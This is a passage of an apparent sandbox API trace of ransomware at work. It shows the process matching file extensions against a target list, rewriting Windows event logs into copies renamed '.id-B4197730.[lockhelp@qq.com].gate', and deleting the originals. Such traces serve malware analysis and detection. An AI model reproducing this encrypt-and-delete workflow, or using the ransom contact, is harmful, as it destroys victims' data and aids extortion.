(lpString1=".rar", lpString2="evtx") returned -1 [0276.016] lstrlenW (lpString=".bz2") returned 4 [0276.016] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.016] lstrlenW (lpString=".7z") returned 3 [0276.016] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0276.016] lstrlenW (lpString=".dbf") returned 4 [0276.016] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0276.016] lstrlenW (lpString=".1cd") returned 4 [0276.016] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0276.017] lstrlenW (lpString=".jpg") returned 4 [0276.017] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.017] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0276.017] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 42 [0276.017] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0276.032] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=69632) returned 1 [0276.032] CloseHandle (hObject=0x398) returned 1 [0276.032] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20 [0276.032] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0276.033] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0276.033] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.033] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.033] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0276.034] GetLastError () returned 0x0 [0276.034] ReadFile (in: hFile=0x398, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x11000, lpOverlapped=0x0) returned 1 [0276.151] WriteFile (in: hFile=0x39c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x11010, lpOverlapped=0x0) returned 1 [0276.251] ReadFile (in: hFile=0x398, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.251] WriteFile (in: hFile=0x39c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x128, lpOverlapped=0x0) returned 1 [0276.251] SetEndOfFile (hFile=0x39c) returned 1 [0276.371] CloseHandle (hObject=0x39c) returned 1 [0276.372] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.372] SetEndOfFile (hFile=0x398) returned 1 [0276.373] CloseHandle (hObject=0x398) returned 1 [0276.373] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0276.374] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 1 [0276.374] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0276.374] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0276.374] lstrlenW (lpString=".doc") returned 4 [0276.374] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.374] lstrlenW (lpString=".docx") returned 5 [0276.374] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.374] lstrlenW (lpString=".pdf") returned 4 [0276.374] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.374] lstrlenW (lpString=".xls") returned 4 [0276.374] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.374] lstrlenW (lpString=".xlsx") returned 5 [0276.374] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.374] lstrlenW (lpString=".ppt") returned 4 [0276.374] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.374] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0276.374] lstrlenW (lpString=".zip") returned 4 [0276.374] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.374] lstrlenW (lpString=".rar") returned 4 [0276.374] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.374] lstrlenW (lpString=".bz2") returned 4 [0276.374] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.374] lstrlenW (lpString=".7z") returned 3 [0276.374] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.374] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0276.374] lstrlenW (lpString=".dbf") returned 4 [0276.374] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.375] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0276.375] lstrlenW (lpString=".1cd") returned 4 [0276.375] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.375] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0276.375] lstrlenW (lpString=".jpg") returned 4 [0276.375] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.375] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0276.375] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0276.375] lstrlenW (lpString=".doc") returned 4 [0276.375] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.375] lstrlenW (lpString=".docx") returned 5 [0276.375] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.375] lstrlenW (lpString=".pdf") returned 4 [0276.375] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.375] lstrlenW (lpString=".xls") returned 4 [0276.375] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.375] lstrlenW (lpString=".xlsx") returned 5 [0276.375] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.375] lstrlenW (lpString=".ppt") returned 4 [0276.375] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.375] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0276.375] lstrlenW (lpString=".zip") returned 4 [0276.375] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.375] lstrlenW (lpString=".rar") returned 4 [0276.375] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.375] lstrlenW (lpString=".bz2") returned 4 [0276.375] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.375] lstrlenW (lpString=".7z") returned 3 [0276.375] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.375] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0276.376] lstrlenW (lpString=".dbf") returned 4 [0276.376] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.376] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0276.376] lstrlenW (lpString=".1cd") returned 4 [0276.376] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.376] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0276.376] lstrlenW (lpString=".jpg") returned 4 [0276.376] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.376] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0276.376] lstrlenW (lpString="Microsoft-Windows-MUI%4Admin.evtx") returned 33 [0276.376] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0276.376] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=69632) returned 1 [0276.376] CloseHandle (hObject=0x398) returned 1 [0276.376] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20 [0276.376] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0276.376] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0276.377] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.377] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.377] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0276.378] GetLastError () returned 0x0 [0276.378] ReadFile (in: hFile=0x398, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x11000, lpOverlapped=0x0) returned 1 [0276.740] WriteFile (in: hFile=0x39c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x11010, lpOverlapped=0x0) returned 1 [0276.742] ReadFile (in: hFile=0x398, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.742] WriteFile (in: hFile=0x39c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x116, lpOverlapped=0x0) returned 1 [0276.742] SetEndOfFile (hFile=0x39c) returned 1 [0276.816] CloseHandle (hObject=0x39c) returned 1 [0276.817] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.817] SetEndOfFile (hFile=0x398) returned 1 [0276.818] CloseHandle (hObject=0x398) returned 1 [0276.819] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0276.819] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 1 [0276.819] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0276.819] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0276.819] lstrlenW (lpString=".doc") returned 4 [0276.819] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.819] lstrlenW (lpString=".docx") returned 5 [0276.819] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.819] lstrlenW (lpString=".pdf") returned 4 [0276.819] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.819] lstrlenW (lpString=".xls") returned 4 [0276.819] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.819] lstrlenW (lpString=".xlsx") returned 5 [0276.819] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.819] lstrlenW (lpString=".ppt") returned 4 [0276.819] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.819] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0276.819] lstrlenW (lpString=".zip") returned 4 [0276.820] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.820] lstrlenW (lpString=".rar") returned 4 [0276.820] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.820] lstrlenW (lpString=".bz2") returned 4 [0276.820] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.820] lstrlenW (lpString=".7z") returned 3 [0276.820] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.820] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0276.820] lstrlenW (lpString=".dbf") returned 4 [0276.820] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.820] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0276.820] lstrlenW (lpString=".1cd") returned 4 [0276.820] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.820] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0276.820] lstrlenW (lpString=".jpg") returned 4 [0276.820] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.820] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0276.820] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0276.820] lstrlenW (lpString=".doc") returned 4 [0276.820] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.820] lstrlenW (lpString=".docx") returned 5 [0276.820] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.820] lstrlenW (lpString=".pdf") returned 4 [0276.820] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.820] lstrlenW (lpString=".xls") returned 4 [0276.820] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.820] lstrlenW (lpString=".xlsx") returned 5 [0276.820] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.820] lstrlenW (lpString=".ppt") returned 4 [0276.820] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.820] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0276.821] lstrlenW (lpString=".zip") returned 4 [0276.821] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.821] lstrlenW (lpString=".rar") returned 4 [0276.821] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.821] lstrlenW (lpString=".bz2") returned 4 [0276.821] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.821] lstrlenW (lpString=".7z") returned 3 [0276.821] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.821] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0276.821] lstrlenW (lpString=".dbf") returned 4 [0276.821] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.821] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0276.821] lstrlenW (lpString=".1cd") returned 4 [0276.821] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.821] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0276.821] lstrlenW (lpString=".jpg") returned 4 [0276.821] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.821] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0276.821] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Operational.evtx") returned 47 [0276.821] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0276.821] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=69632) returned 1 [0276.821] CloseHandle (hObject=0x398) returned 1 [0276.822] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20 [0276.822] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0276.822] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0276.822] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.822] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.822] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0276.822] GetLastError () returned 0x0 [0276.822] ReadFile (in: hFile=0x398, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x11000, lpOverlapped=0x0) returned 1 [0276.918] WriteFile (in: hFile=0x39c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x11010, lpOverlapped=0x0) returned 1 [0276.920] ReadFile (in: hFile=0x398, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.920] WriteFile (in: hFile=0x39c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x132, lpOverlapped=0x0) returned 1 [0276.920] SetEndOfFile (hFile=0x39c) returned 1 [0276.954] CloseHandle (hObject=0x39c) returned 1 [0276.956] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.956] SetEndOfFile (hFile=0x398) returned 1 [0276.957] CloseHandle (hObject=0x398) returned 1 [0276.957] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0276.957] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 1 [0276.958] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0276.958] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0276.958] lstrlenW (lpString=".doc") returned 4 [0276.958] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.958] lstrlenW (lpString=".docx") returned 5 [0276.958] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.958] lstrlenW (lpString=".pdf") returned 4 [0276.958] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.958] lstrlenW (lpString=".xls") returned 4 [0276.958] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.958] lstrlenW (lpString=".xlsx") returned 5 [0276.958] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.958] lstrlenW (lpString=".ppt") returned 4 [0276.958] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.958] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0276.958] lstrlenW (lpString=".zip") returned 4 [0276.958] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.958] lstrlenW (lpString=".rar") returned 4 [0276.958] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.958] lstrlenW (lpString=".bz2") returned 4 [0276.958] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.958] lstrlenW (lpString=".7z") returned 3 [0276.958] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.958] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0276.959] lstrlenW (lpString=".dbf") returned 4 [0276.959] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0276.959] lstrlenW (lpString=".1cd") returned 4 [0276.959] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0276.959] lstrlenW (lpString=".jpg") returned 4 [0276.959] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0276.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0276.959] lstrlenW (lpString=".doc") returned 4 [0276.959] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.959] lstrlenW (lpString=".docx") returned 5 [0276.959] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.959] lstrlenW (lpString=".pdf") returned 4 [0276.959] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.959] lstrlenW (lpString=".xls") returned 4 [0276.959] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.959] lstrlenW (lpString=".xlsx") returned 5 [0276.959] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.959] lstrlenW (lpString=".ppt") returned 4 [0276.959] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.959] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0276.959] lstrlenW (lpString=".zip") returned 4 [0276.959] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.959] lstrlenW (lpString=".rar") returned 4 [0276.959] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.959] lstrlenW (lpString=".bz2") returned 4 [0276.959] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.960] lstrlenW (lpString=".7z") returned 3 [0276.960] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.960] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0276.960] lstrlenW (lpString=".dbf") returned 4 [0276.960] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.960] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0276.960] lstrlenW (lpString=".1cd") returned 4 [0276.960] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.960] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0276.960] lstrlenW (lpString=".jpg") returned 4 [0276.960] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.960] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0276.960] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4Operational.evtx") returned 46 [0276.960] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0276.960] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=69632) returned 1 [0276.960] CloseHandle (hObject=0x398) returned 1 [0276.961] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20 [0276.961] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0276.961] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), 